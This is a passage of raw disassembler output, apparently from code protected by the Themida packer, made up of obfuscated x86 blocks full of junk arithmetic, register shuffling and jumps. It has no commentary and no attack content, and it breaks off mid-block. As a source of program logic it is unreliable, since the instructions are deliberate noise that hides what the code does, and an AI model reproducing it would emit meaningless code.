loc_552EB1:				; CODE XREF: Themida_:00558218j
		mov	edi, esp
		jmp	loc_55A97C
; ---------------------------------------------------------------------------


loc_552EB8:				; CODE XREF: Themida_:00553405j
		add	esi, 38E91B40h
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_553B7F
; ---------------------------------------------------------------------------


loc_552ED7:				; CODE XREF: Themida_:00554A12j
		pop	edi
		push	ebp
		mov	ebp, 0C1B5A63h
		sub	ebp, 4EBDC6Dh
		sub	ebp, 25436B94h
		sub	ebp, 64FD1120h
		jmp	loc_55DD15
; ---------------------------------------------------------------------------


loc_552EF5:				; CODE XREF: Themida_:0055AC59j
		or	esi, 78156C06h
		dec	esi
		push	edx
		mov	edx, 59B61813h
		neg	edx
		jmp	loc_557D10
; ---------------------------------------------------------------------------


loc_552F09:				; CODE XREF: Themida_:0055D2A5j
		pop	edi
		jmp	loc_55651F
; ---------------------------------------------------------------------------


loc_552F0F:				; CODE XREF: Themida_:00552705j
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_557C93
; ---------------------------------------------------------------------------


loc_552F2A:				; CODE XREF: Themida_:00558C2Bj
		xor	edx, 72BA3498h
		sub	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55B433
; ---------------------------------------------------------------------------


loc_552F4C:				; CODE XREF: Themida_:00557AABj
		push	1581h
		mov	[esp], eax
		mov	eax, 4A4A42B5h
		mov	edi, eax
		pop	eax
		add	edi, 0B5B5BD4Fh
		jmp	loc_555C15
; ---------------------------------------------------------------------------


loc_552F67:				; CODE XREF: Themida_:00558BB9j
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4759666Dh
		shl	eax, 5
		shl	eax, 4
		sub	eax, 1
		xor	eax, 0B2CCD9FBh
		add	edx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_55DA8C
; ---------------------------------------------------------------------------


loc_552F9A:				; CODE XREF: Themida_:0055735Dj
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 2
		push	46B8h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55A67A
; ---------------------------------------------------------------------------


loc_552FB8:				; CODE XREF: Themida_:00555AC4j
		add	edx, ebp
		pop	ebp
		add	ebp, 8C21442h
		jmp	loc_55BEC6
; ---------------------------------------------------------------------------


loc_552FC6:				; CODE XREF: Themida_:0055A874j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55AB94
		push	dword ptr [edi+1Ch]
		jmp	loc_552806
; ---------------------------------------------------------------------------


loc_552FDD:				; CODE XREF: Themida_:0055CD6Aj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55B2F8
; ---------------------------------------------------------------------------


loc_552FE9:				; CODE XREF: Themida_:00555713j
		xor	al, 7Dh
		jmp	loc_558B4F
; ---------------------------------------------------------------------------


loc_552FF0:				; CODE XREF: Themida_:0055A42Fj
		add	ebp, 9212DE2h
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55A3BF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	63F3h
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		push	esi
		jmp	loc_55CC53
; ---------------------------------------------------------------------------


loc_553021:				; CODE XREF: Themida_:00553B28j
		push	ebx
		mov	ebx, 5FAD778Ch
		shr	ebx, 7
		jmp	loc_55CFC0
; ---------------------------------------------------------------------------


loc_55302F:				; CODE XREF: Themida_:0055A3C2j
		pop	esp
		jmp	loc_55932E
; ---------------------------------------------------------------------------


loc_553035:				; CODE XREF: Themida_:00554DAFj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55303A:				; CODE XREF: Themida_:00553E20j
		mov	al, 88h
		sub	al, 0DDh
		push	edx
		mov	dh, 0DEh
		and	dh, 0A6h
		sub	dh, 38h
		inc	dh
		sub	dh, 70h
		sub	dh, 40h
		sub	al, dh
		pop	edx
		and	al, 9
		or	al, 61h
		jmp	loc_553FC9
; ---------------------------------------------------------------------------


loc_55305B:				; CODE XREF: Themida_:00552C52j
		push	edx
		jmp	loc_554F4C
; ---------------------------------------------------------------------------


loc_553061:				; CODE XREF: Themida_:0055D2E1j
		add	esp, 4
		push	esi
		mov	esi, esp
		push	0F9Ah
		mov	[esp], ecx
		jmp	loc_55C6CD
; ---------------------------------------------------------------------------


loc_553077:				; CODE XREF: Themida_:005522D8j
		pop	edx
		mov	dl, al
		pop	eax
		mov	ch, dl
		pop	edx
		mov	[edi+eax*4], ch
		jmp	loc_557528
; ---------------------------------------------------------------------------


loc_553086:				; CODE XREF: Themida_:005523FAj
		xor	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	6EDD1A50h
		jmp	loc_559105
; ---------------------------------------------------------------------------


loc_553099:				; CODE XREF: Themida_:0055BF80j
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebx
		jmp	loc_55A813
; ---------------------------------------------------------------------------


loc_5530AB:				; CODE XREF: Themida_:00553321j
		sub	edx, 1EFD2A69h
		sub	edx, 7817362h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_5549EA
; ---------------------------------------------------------------------------


loc_5530C5:				; CODE XREF: Themida_:005586E1j
		sub	edi, 4
		jmp	loc_5579F0
; ---------------------------------------------------------------------------


loc_5530D0:				; CODE XREF: Themida_:0055C362j
		pop	ebx
		pop	ecx
		push	ebx
		push	ecx
		push	edi
		push	ebx
		push	1E38142Dh
		pop	ebx
		push	ebp
		mov	ebp, 682F1DF6h
		inc	ebp
		sub	ebp, 0B6F414D5h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_551C76
; ---------------------------------------------------------------------------


loc_5530F1:				; CODE XREF: Themida_:0055AF0Ej
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5530FB:				; CODE XREF: Themida_:0055920Ej
		mov	ebx, 1A840844h
		mov	ecx, 0E57BF7BEh
		add	ecx, ebx
		jmp	loc_553393
; ---------------------------------------------------------------------------


loc_55310C:				; CODE XREF: Themida_:0055BEC1j
		push	edx
		mov	dh, 0CCh
		inc	dh
		inc	dh
		shr	dh, 3
		shl	dh, 6
		xor	dh, 0Ch
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bh, dh
		jmp	loc_554106
; ---------------------------------------------------------------------------


loc_55312D:				; CODE XREF: Themida_:00556ADFj
		sub	eax, ebp
		pop	ebp
		jmp	loc_55D84C
; ---------------------------------------------------------------------------


loc_553135:				; CODE XREF: Themida_:0055329Dj
		mov	eax, [esp]
		add	esp, 4
		push	739h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 2C511686h
		sub	edx, 88A61C7h
		jmp	loc_551BE5
; ---------------------------------------------------------------------------


loc_55315C:				; CODE XREF: Themida_:0055BE74j
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_558DA2
; ---------------------------------------------------------------------------


loc_553170:				; CODE XREF: Themida_:0055970Dj
		mov	esp, [esp]
		push	35EBh
		jmp	loc_55BCB9
; ---------------------------------------------------------------------------


loc_55317D:				; CODE XREF: Themida_:00559557j
		sub	ebx, edi
		pop	edi
		sub	ebx, eax
		push	1906h
		jmp	loc_55219A
; ---------------------------------------------------------------------------


loc_55318C:				; CODE XREF: Themida_:00556A0Dj
		pop	edx
		add	al, ch
		push	small 2407h
		mov	[esp], cx
		push	2AB0h
		mov	[esp], ebx
		push	ecx
		mov	cl, 42h
		mov	bh, 0Fh
		jmp	loc_5521DF
; ---------------------------------------------------------------------------


loc_5531A9:				; CODE XREF: Themida_:0055C6DAj
		xor	ecx, 196665DDh
		jmp	loc_552C1C
; ---------------------------------------------------------------------------


loc_5531B4:				; CODE XREF: Themida_:0055D78Fj
		cmp	cx, ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5531BD:				; CODE XREF: Themida_:005540EBj
		mov	ch, dl
		jmp	loc_554B71
; ---------------------------------------------------------------------------


loc_5531C4:				; CODE XREF: Themida_:00555627j
		pop	edi
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_554771
; ---------------------------------------------------------------------------


loc_5531D2:				; CODE XREF: Themida_:0055366Ej
		xor	ecx, [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_5572B5
; ---------------------------------------------------------------------------


loc_5531E5:				; CODE XREF: Themida_:00552006j
		xchg	ebx, [esp]
		pop	esp
		sub	dword ptr [esp], 743202FBh
		add	[esp], eax
		push	ebp
		push	0BE8h
		jmp	loc_55C8CE
; ---------------------------------------------------------------------------


loc_5531FE:				; CODE XREF: Themida_:0055D7E5j
		shr	ecx, 6
		push	esi
		mov	esi, 720D2FFFh
		inc	esi
		push	edi
		jmp	loc_5523DF
; ---------------------------------------------------------------------------


loc_55320E:				; CODE XREF: Themida_:0055469Cj
		pop	eax
		add	edi, 49B11115h
		add	edi, esi
		sub	edi, 49B11115h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55DBF4
; ---------------------------------------------------------------------------


loc_55322C:				; CODE XREF: Themida_:00552801j
		mov	[esp], eax
		push	ecx
		mov	cl, 13h
		or	cl, 0CEh
		jmp	loc_552150
; ---------------------------------------------------------------------------


loc_55323A:				; CODE XREF: Themida_:00554A1Aj
		mov	ebp, 0FFFFFFFFh
		jmp	loc_55CE1A
; ---------------------------------------------------------------------------


loc_553244:				; CODE XREF: Themida_:005541F1j
		push	1CF0h
		mov	[esp], edx
		mov	edx, 407362B7h
		shl	edx, 8
		jmp	loc_553686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_553259:				; CODE XREF: sub_55656B+537j
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_55241A
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55326A:				; CODE XREF: Themida_:005551FFj
		xchg	edi, [esp]
		jmp	loc_55DE1E
; ---------------------------------------------------------------------------


loc_553272:				; CODE XREF: Themida_:0055B590j
		sub	ebx, 720A0126h
		push	esi
		mov	esi, 373B7B2Fh
		and	ebx, esi
		pop	esi
		jmp	loc_553816
; ---------------------------------------------------------------------------


loc_553286:				; CODE XREF: Themida_:00557111j
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, edx
		pop	edx
		xor	ebx, eax
		jmp	loc_5540FB
; ---------------------------------------------------------------------------


loc_553299:				; CODE XREF: Themida_:0055204Bj
		mov	al, dl
		mov	cl, al
		jmp	loc_553135
; ---------------------------------------------------------------------------


loc_5532A2:				; CODE XREF: Themida_:005575E0j
		pop	edx
		xchg	eax, [esp]
		jmp	loc_55AB84
; ---------------------------------------------------------------------------


loc_5532AB:				; CODE XREF: Themida_:0055BE6Dj
		xor	bh, 0C0h
		add	al, bh
		jmp	loc_553D79
; ---------------------------------------------------------------------------


loc_5532B5:				; CODE XREF: Themida_:0055CAC6j
		mov	[esp], edx
		mov	edx, 14543362h
		and	edx, 4B03766Dh
		and	edx, 7827B2h
		push	ecx
		mov	ecx, 2EB3741Fh
		dec	ecx
		add	ecx, 334454B2h
		add	ecx, 14446AA5h
		xor	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 1DE203D1h
		jmp	loc_557239
; ---------------------------------------------------------------------------


loc_5532EA:				; CODE XREF: Themida_:0055637Dj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5534B7
; ---------------------------------------------------------------------------


loc_5532F8:				; CODE XREF: Themida_:00556D03j
		sub	edi, esi
		jmp	loc_5546A1
; ---------------------------------------------------------------------------


loc_5532FF:				; CODE XREF: Themida_:00555862j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55C367
; ---------------------------------------------------------------------------


loc_553307:				; CODE XREF: Themida_:0055C8BDj
		mov	[edi+20h], ecx
		jmp	loc_55CCDC
; ---------------------------------------------------------------------------


loc_55330F:				; CODE XREF: Themida_:005523D5j
		pop	edi
		mov	edx, ecx
		pop	ecx
		shl	edx, 1
		dec	edx
		not	edx
		shl	edx, 8
		add	edx, 22E827CFh
		jmp	loc_5530AB
; ---------------------------------------------------------------------------


loc_553326:				; CODE XREF: Themida_:0055D6C7j
		pop	eax
		sub	eax, 0E8958C7Eh
		push	eax
		mov	eax, 170042FEh
		add	eax, 46C82BDDh
		add	ebx, eax
		pop	eax
		add	ebx, eax
		jmp	loc_559804
; ---------------------------------------------------------------------------
		push	ecx
		push	edx
		mov	dl, bh
		push	ebx
		push	ecx
		mov	ch, dl
		push	eax
		mov	ah, ch
		mov	bh, ah
		jmp	loc_558D82
; ---------------------------------------------------------------------------


loc_553353:				; CODE XREF: Themida_:00555F1Aj
		add	esp, 4
		push	esi
		mov	esi, 3D583BDBh
		add	esi, 0C2A7C429h
		add	ecx, esi
		jmp	loc_557D2C
; ---------------------------------------------------------------------------


loc_553369:				; CODE XREF: Themida_:005576C4j
		add	edi, 1
		add	edi, 0BFFCFFC1h
		add	edx, edi
		jmp	loc_555E74
; ---------------------------------------------------------------------------


loc_553379:				; CODE XREF: Themida_:00552E73j
		mov	eax, 76C43308h
		mov	ebx, 0D63E72ABh
		jmp	loc_55DE74
; ---------------------------------------------------------------------------


loc_553388:				; CODE XREF: Themida_:0055D171j
		push	eax
		mov	eax, 2316CC7h
		jmp	loc_5595C0
; ---------------------------------------------------------------------------


loc_553393:				; CODE XREF: Themida_:00553107j
		pop	ebx
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5533A4:				; CODE XREF: Themida_:0055CA9Aj
		not	edx
		jmp	loc_55B364
; ---------------------------------------------------------------------------


loc_5533AB:				; CODE XREF: Themida_:0055B26Cj
		push	edx
		jmp	loc_555D36
; ---------------------------------------------------------------------------


loc_5533B1:				; CODE XREF: Themida_:00554424j
		mov	ecx, ebp
		pop	ebp
		shl	ecx, 8
		push	ebp
		mov	ebp, 0A153ABFCh
		sub	ecx, ebp
		pop	ebp
		add	ebx, ecx
		pop	ecx
		jmp	loc_558D16
; ---------------------------------------------------------------------------


loc_5533C8:				; CODE XREF: Themida_:005521DAj
		sub	ebp, ebx
		pop	ebx
		xor	eax, ebp
		jmp	loc_55DEF9
; ---------------------------------------------------------------------------


loc_5533D2:				; CODE XREF: Themida_:0055AAB1j
		idiv	cx
		push	small 4BF4h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5533E5:				; CODE XREF: Themida_:0055DAF1j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_555041
; ---------------------------------------------------------------------------


loc_5533F4:				; CODE XREF: Themida_:00556CA6j
		mov	ebx, 3E192E8Eh
		mov	ecx, ebx
		pop	ebx
		inc	ecx
		jmp	loc_557968
; ---------------------------------------------------------------------------


loc_553402:				; CODE XREF: Themida_:005526CAj
		shl	esi, 5
		jmp	loc_552EB8
; ---------------------------------------------------------------------------


loc_55340A:				; CODE XREF: Themida_:005560E0j
		mov	si, 592Eh
		push	bx
		mov	bx, 3D50h
		sub	si, bx
		pop	bx
		dec	si
		shr	si, 4
		or	si, 165Eh
		sub	si, 5274h
		sub	bx, si
		mov	esi, [esp]
		jmp	loc_5598F7
; ---------------------------------------------------------------------------


loc_553434:				; CODE XREF: Themida_:00556773j
		add	eax, edx
		pop	edx
		push	edx
		mov	edx, 458D3554h
		inc	edx
		push	esi
		mov	esi, 33C70350h
		shr	esi, 1
		add	esi, 5878306Ch
		and	esi, 6A8C28D8h
		add	esi, 95A08EFh
		and	edx, esi
		pop	esi
		neg	edx
		add	edx, 2F206D8Eh
		shr	edx, 2
		jmp	loc_5536DB
; ---------------------------------------------------------------------------


loc_55346B:				; CODE XREF: Themida_:00557ACBj
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		pop	ecx
		add	bh, al
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	al, bh
		jmp	loc_55C929
; ---------------------------------------------------------------------------


loc_553492:				; CODE XREF: Themida_:00556293j
		xor	ebx, 76E104EEh
		jmp	loc_551E0B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5524CB
; ---------------------------------------------------------------------------


loc_5534B7:				; CODE XREF: Themida_:005532F3j
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		add	esp, 4
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	74B8h
		jmp	loc_552750
; ---------------------------------------------------------------------------


loc_5534D5:				; CODE XREF: Themida_:005589D2j
		or	edi, ebx
		pop	ebx
		sub	edi, 0ECF13D4Bh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	3482h
		jmp	loc_55A613
; ---------------------------------------------------------------------------


loc_5534F1:				; CODE XREF: Themida_:00552DBEj
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_55C8E1
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553507:				; CODE XREF: Themida_:005591A3j
		add	[esp+4], esi
		sub	dword ptr [esp+4], 75D4078Dh
		pop	esi
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553519:				; CODE XREF: Themida_:00555657j
		pop	edx
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Ah
		push	ebx
		add	dword ptr [esp], 6B0A3819h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55A32B
; ---------------------------------------------------------------------------


loc_553533:				; CODE XREF: Themida_:0055B480j
		mov	esp, [esp]
		xor	edx, 15BA4990h
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553541:				; CODE XREF: Themida_:0055D148j
		push	ebx
		mov	ebx, 0A67395Bh
		add	ebp, ebx
		pop	ebx
		xor	edi, ebp
		pop	ebp
		mov	ebp, edi
		pop	edi
		mov	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4264668h
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 7
		push	ebx
		jmp	loc_55DF33
; ---------------------------------------------------------------------------


loc_55357D:				; CODE XREF: Themida_:0055A60Ej
		pop	ecx
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2C4B723Ch
		add	ebx, 1749040Bh
		add	ebx, 746B7155h
		jmp	loc_555CDA
; ---------------------------------------------------------------------------


loc_5535A3:				; CODE XREF: Themida_:0055A3D9j
		push	ecx
		jmp	loc_5570B4
; ---------------------------------------------------------------------------


loc_5535A9:				; CODE XREF: Themida_:0055DA87j
		push	edi
		jmp	loc_55386A
; ---------------------------------------------------------------------------


loc_5535AF:				; CODE XREF: Themida_:00558728j
		inc	ebp
		sub	esp, 4
		jmp	loc_55AD94
; ---------------------------------------------------------------------------


loc_5535B8:				; CODE XREF: Themida_:005549CEj
		shl	cl, 8
		push	edx
		mov	dh, 74h
		not	dh
		neg	dh
		push	ecx
		jmp	loc_55B2EC
; ---------------------------------------------------------------------------


loc_5535C8:				; CODE XREF: Themida_:00559100j
		push	eax
		mov	eax, 0FAC9C723h
		sub	ebp, 677C6762h
		sub	ebp, eax
		add	ebp, 677C6762h
		pop	eax
		sub	esi, 43E30048h
		add	esi, ebp
		jmp	loc_557A61
; ---------------------------------------------------------------------------


loc_5535EA:				; CODE XREF: Themida_:00556B60j
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		add	ecx, 4
		push	ebx
		push	edi
		mov	edi, 113B22EFh
		jmp	loc_557D57
; ---------------------------------------------------------------------------


loc_553607:				; CODE XREF: Themida_:00559499j
		push	edi
		mov	edi, 28235530h
		mov	ebp, edi
		jmp	loc_551FC1
; ---------------------------------------------------------------------------


loc_553614:				; CODE XREF: Themida_:0055BECEj
		add	edx, 56565028h
		sub	edx, 0C7A54442h
		sub	ebp, edx
		pop	edx
		pop	edx
		push	ebx
		mov	ebx, 2
		jmp	loc_556825
; ---------------------------------------------------------------------------


loc_55362F:				; CODE XREF: Themida_:0055782Aj
		sub	esp, 4
		mov	[esp], edi
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	edi
		push	31DDh
		mov	[esp], ebp
		jmp	loc_5576BC
; ---------------------------------------------------------------------------


loc_55364E:				; CODE XREF: Themida_:0055D62Dj
		mov	edi, 4
		sub	edx, 49EE6852h
		jmp	loc_5554F8
; ---------------------------------------------------------------------------


loc_55365E:				; CODE XREF: Themida_:00551F3Cj
		sub	edi, 0D6DAEB0Fh
		sub	ecx, edi
		pop	edi
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5531D2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_559DEF
; ---------------------------------------------------------------------------


loc_553686:				; CODE XREF: Themida_:00553254j
		inc	edx
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 28632424h
		jmp	loc_5567F4
; ---------------------------------------------------------------------------


loc_5536A3:				; CODE XREF: Themida_:0055B20Aj
		mov	[esp], edx
		push	ebx
		mov	bl, 9Bh
		mov	dl, bl
		mov	ebx, [esp]
		jmp	loc_55420F
; ---------------------------------------------------------------------------


loc_5536B3:				; CODE XREF: Themida_:0055D7ABj
		or	edx, 36EA5B31h
		jmp	loc_554A6E
; ---------------------------------------------------------------------------


loc_5536BE:				; CODE XREF: Themida_:0055C5A3j
		sub	ebx, eax
		push	ebp
		mov	ebp, 361B00C5h
		or	ebp, 58BC2711h
		neg	ebp
		xor	ebp, 0A04EA168h
		add	ebx, ebp
		jmp	loc_55D8CA
; ---------------------------------------------------------------------------


loc_5536DB:				; CODE XREF: Themida_:00553466j
		add	edx, 0C477ECB6h
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_554A1F
; ---------------------------------------------------------------------------


loc_5536EC:				; CODE XREF: Themida_:0055D775j
		add	edi, 3A960ABDh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebx
		jmp	loc_551FAA
; ---------------------------------------------------------------------------


loc_553705:				; CODE XREF: Themida_:0055646Fj
		mov	[esp], esi
		mov	esi, 96D12EFh
		jmp	loc_551A28
; ---------------------------------------------------------------------------


loc_553712:				; CODE XREF: Themida_:00551BE0j
		mov	bl, 68h
		add	al, 3Ah
		jmp	loc_553C62
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		push	2B94h
		jmp	loc_55CBE6
; ---------------------------------------------------------------------------


loc_55372F:				; CODE XREF: Themida_:00555FCBj
		or	ebx, 78E17FA3h
		jmp	loc_5581C3
; ---------------------------------------------------------------------------


loc_55373A:				; CODE XREF: Themida_:00558821j
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, 7DE5643Dh
		add	ecx, 3D96332Eh
		jmp	loc_55B923
; ---------------------------------------------------------------------------


loc_553753:				; CODE XREF: Themida_:00557F38j
		xchg	ebp, [esp]
		jmp	loc_559DE9
; ---------------------------------------------------------------------------


loc_55375B:				; CODE XREF: Themida_:00556594j
		push	edi
		mov	edi, 4B6D0341h
		mov	eax, 4B6D0345h
		xor	eax, edi
		pop	edi
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	1D21h
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_55D7BF
; ---------------------------------------------------------------------------


loc_55378C:				; CODE XREF: Themida_:00555957j
		add	esp, 4
		neg	edx
		push	ebp
		mov	ebp, 5000455Dh
		sub	ebp, 620B18BDh
		and	ebp, 5C770605h
		and	ebp, 3C680F87h
		and	ebp, 5733609h
		jmp	loc_558341
; ---------------------------------------------------------------------------


loc_5537B4:				; CODE XREF: Themida_:00557DC3j
		push	ebx
		mov	ebx, 2
		jmp	loc_557053
; ---------------------------------------------------------------------------


loc_5537BF:				; CODE XREF: Themida_:00557E94j
		mov	esi, 6726523h
		and	esi, 755412F0h
		shl	esi, 8
		xor	esi, 37262F60h
		add	esi, 98D9F0A4h
		jmp	loc_556459
; ---------------------------------------------------------------------------


loc_5537DE:				; CODE XREF: Themida_:0055A4DAj
		xor	bl, al
		push	edx
		mov	edx, 38h
		jmp	loc_5590CE
; ---------------------------------------------------------------------------


loc_5537EB:				; CODE XREF: Themida_:00557A1Bj
		and	eax, esi
		pop	esi
		shr	eax, 10h
		xor	eax, ecx
		push	2B2Fh
		mov	[esp], eax
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55AEE1
; ---------------------------------------------------------------------------


loc_55380C:				; CODE XREF: Themida_:0055433Cj
		push	eax
		push	edx
		mov	dh, bl
		push	ebx
		jmp	loc_5522D3
; ---------------------------------------------------------------------------


loc_553816:				; CODE XREF: Themida_:00553281j
		xor	ebx, 57005F0Fh
		push	edi
		jmp	loc_555E36
; ---------------------------------------------------------------------------


loc_553822:				; CODE XREF: Themida_:00551DAFj
		mov	ecx, 5B99162Dh
		add	ecx, 0C7E112D3h
		or	edi, ecx
		jmp	loc_551EA5
; ---------------------------------------------------------------------------


loc_553834:				; CODE XREF: Themida_:00554E56j
		mov	esi, 0D564DD28h
		jmp	loc_55AD29
; ---------------------------------------------------------------------------


loc_55383E:				; CODE XREF: Themida_:00556749j
		add	ah, dh
		pop	edx
		shl	ah, 1
		add	ah, 0DDh
		sub	esp, 4
		mov	[esp], eax
		not	byte ptr [esp+1]
		pop	eax
		dec	ah
		shr	ah, 6
		add	ah, 7Fh
		add	bl, ah
		pop	eax
		sub	bl, 4Fh
		sub	esp, 4
		jmp	loc_553B39
; ---------------------------------------------------------------------------


loc_55386A:				; CODE XREF: Themida_:005535AAj
		mov	edi, esp
		add	edi, 4
		jmp	loc_55632F
; ---------------------------------------------------------------------------


loc_553877:				; CODE XREF: Themida_:0055C8DCj
		mov	edi, 1
		push	0FCh
		jmp	loc_55473E
; ---------------------------------------------------------------------------


loc_553886:				; CODE XREF: Themida_:0055C3DBj
		pop	esi
		pop	edi
		push	ecx
		jmp	loc_55CE41
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55BF3D
; ---------------------------------------------------------------------------


loc_553896:				; CODE XREF: Themida_:00554F85j
		xor	ecx, edi
		pop	edi
		jmp	loc_55AD37
; ---------------------------------------------------------------------------


loc_55389E:				; CODE XREF: Themida_:0055CD07j
		mov	[esp], edx
		mov	dx, 2
		mov	si, dx
		mov	edx, [esp]
		add	esp, 4
		sub	word ptr [esp+2], 32B8h
		add	word ptr [esp+2], 7AB4h
		add	[esp+2], si
		sub	word ptr [esp+2], 7AB4h
		jmp	loc_55A40E
; ---------------------------------------------------------------------------


loc_5538CD:				; CODE XREF: Themida_:00553F2Dj
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5541A7
; ---------------------------------------------------------------------------


loc_5538E7:				; CODE XREF: Themida_:0055D537j
		add	eax, ebp
		jmp	loc_552CDC
; ---------------------------------------------------------------------------


loc_5538EE:				; CODE XREF: Themida_:0055B9FEj
		pop	ecx
		pop	esi
		add	ecx, 64824CB5h
		add	ecx, 694379h
		add	ecx, edi
		sub	ecx, 694379h
		sub	ecx, 64824CB5h
		pop	edi
		xor	eax, ecx
		pop	ecx
		push	eax
		mov	eax, 401643EEh
		push	ebp
		mov	ebp, 30BE0023h
		jmp	loc_55828F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55391F:				; CODE XREF: sub_55656B+23B3j
		mov	esi, 57F02992h
		jmp	loc_55C5A8
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_553929:				; CODE XREF: Themida_:00559FABj
		sub	ecx, 0F777EBBCh
		sub	esi, 700A2D6Fh
		add	esi, ecx
		add	esi, 700A2D6Fh
		pop	ecx
		add	esi, 4
		jmp	loc_55BD97
; ---------------------------------------------------------------------------


loc_553946:				; CODE XREF: Themida_:00556CF8j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		pop	ecx
		jmp	loc_55296F
; ---------------------------------------------------------------------------


loc_553958:				; CODE XREF: Themida_:00552DFBj
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
